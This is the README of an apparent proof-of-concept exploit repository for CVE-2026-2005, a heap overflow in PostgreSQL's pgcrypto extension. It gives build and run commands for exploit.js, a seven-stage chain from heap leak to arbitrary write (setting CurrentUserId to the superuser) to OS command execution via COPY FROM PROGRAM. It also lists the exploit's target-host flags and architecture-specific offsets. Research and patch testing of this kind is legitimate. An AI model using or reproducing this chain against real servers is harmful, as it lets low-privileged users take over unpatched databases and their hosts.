
PostgreSQL pgcrypto heap buffer overflow PoC demonstrating CVE-2026-2005: low-privileged RCE and privilege escalation to superuser via crafted OpenPGP packet.
Target commit: 4b324845ba5d24682b9b3708a769f00d160afbd7 (PostgreSQL 18.1 — vulnerable)
| Field | Detail |
|---|---|
| CVE | CVE-2026-2005 |
| Type | Heap buffer overflow |
| Component | contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey() |
| Impact | RCE as the OS user running PostgreSQL |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Auth required | Low — any authenticated user with CREATE privilege |
| Affected | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| Fixed in | 14.21, 15.16, 16.12, 17.8, 18.2 (Feb 12, 2026) |
| Arch | aarch64 (ARM64) — heap offsets and MBuf layout are arch/glibc specific |
# Build and start PostgreSQL 18.1 (vulnerable)
docker compose up -d --build
# Wait for healthy
docker compose logs -f postgres
# Ctrl+C when you see "database system is ready to accept connections"
# One-time setup: copy the postgres binary for offline symbol parsing
docker cp cve-2026-2005-poc:/usr/local/pgsql/bin/postgres ./postgres
# Install node deps
npm install
# Run the full RCE exploit chain (pure SQL — no Docker interaction)
node exploit.js --cmd "id"
# With verbose output
node exploit.js --cmd "id" --verbose
# Execute a custom command
node exploit.js --cmd "whoami"
Stage 1: Heap pointer leak
└─ Corrupt mdst chunk header → parse pfree() error message
Stage 2: Arbitrary read (multi-window scan)
└─ Overwrite mdst->data → scan memory near leaked pointer
Stage 3: Pointer candidate collection
└─ Scan heap dumps for pointer-like 8-byte values
Stage 4: PIE base resolution
└─ Vote leaked addresses against ELF symbol offsets (page-offset
grouped, offline — symbols parsed from the local binary copy)
Stage 5: PIE validation
└─ Arb read CurrentUserId at candidate base → compare with session OID
Stage 6: Arbitrary write
└─ Forge msrc + mdst MBufs → overwrite CurrentUserId → 10 (superuser)
Stage 7: Command execution
└─ COPY FROM PROGRAM → arbitrary OS command as postgres user
CVE-2026-2005/
├── Dockerfile # Builds PostgreSQL 18.1 from source
├── docker-compose.yml # PostgreSQL service with auto-restart
├── init.sh # Entrypoint — initdb + listen config
├── README.md # This file
└── poc/
├── package.json # Node.js dependencies (pg)
├── exploit.js # Full 7-stage RCE exploit (Node.js)
├── verify.sh # Shell-based quick verification
└── test-pgcrypto.sql # SQL-only test of pgcrypto loading
git clone https://github.com/postgres/postgres.git
cd postgres
git checkout 4b324845ba5d24682b9b3708a769f00d160afbd7
./configure \
--prefix="$HOME/projects/pg/pgsql" \
--with-libxml \
--with-libxslt \
--enable-debug \
--with-ssl=openssl
make -j$(nproc)
make install-world-bin
tmux (optional — only needed with --gdb flag)The bug is in pgp_parse_pubenc_sesskey() in contrib/pgcrypto/pgp-pubdec.c.
When parsing an OpenPGP Public-Key Encrypted Session Key packet (tag 1):
memcpys session-key data into a fixed-size buffer based on the unvalidated lengthThe memcpy can write past the heap buffer boundary, corrupting adjacent heap
metadata or data, leading to arbitrary code execution.
pfree()
error message to extract mdst->data heap address./proc/<pid>/maps from the Docker container
to find the postgres binary's load address at runtime.msrc (source) and mdst (destination) MBuf
structs via the heap overflow. msrc points at an embedded symenc packet
containing the superuser OID (10); mdst points at CurrentUserId - 4
(accounting for the 4-byte SET_VARSIZE header).CurrentUserId = 10 (bootstrap superuser),
execute COPY FROM PROGRAM to run arbitrary OS commands.pgcrypto extension is trusted — any user with CREATE privilege
(not superuser) can install it, making this exploitable with low privileges.--enable-debug for easier debugging with gdb.SRC_CHUNK_OFFSET=100, DST_CHUNK_OFFSET=172) are specific
to aarch64 + glibc — other architectures/allocators need different offsets.CurrentUserId through the same
arbitrary-read primitive.| Flag | Default | Description |
|---|
--cmd | id | OS command to execute after successful exploit |
--key-size | 3072 | RSA key size in bits |
--host | 127.0.0.1 | PostgreSQL host |
--port | 5432 | PostgreSQL port |
--user | postgres | Database user |
--password | (empty) | Database password |
--dbname | postgres | Database name |
--binary | ./postgres | Path to postgres ELF binary for symbols |
--scan-offset | auto | Override heap scan offset from leaked pointer |
--verbose | off | Enable verbose debug output |
--gdb | off | Attach GDB via tmux at overflow point |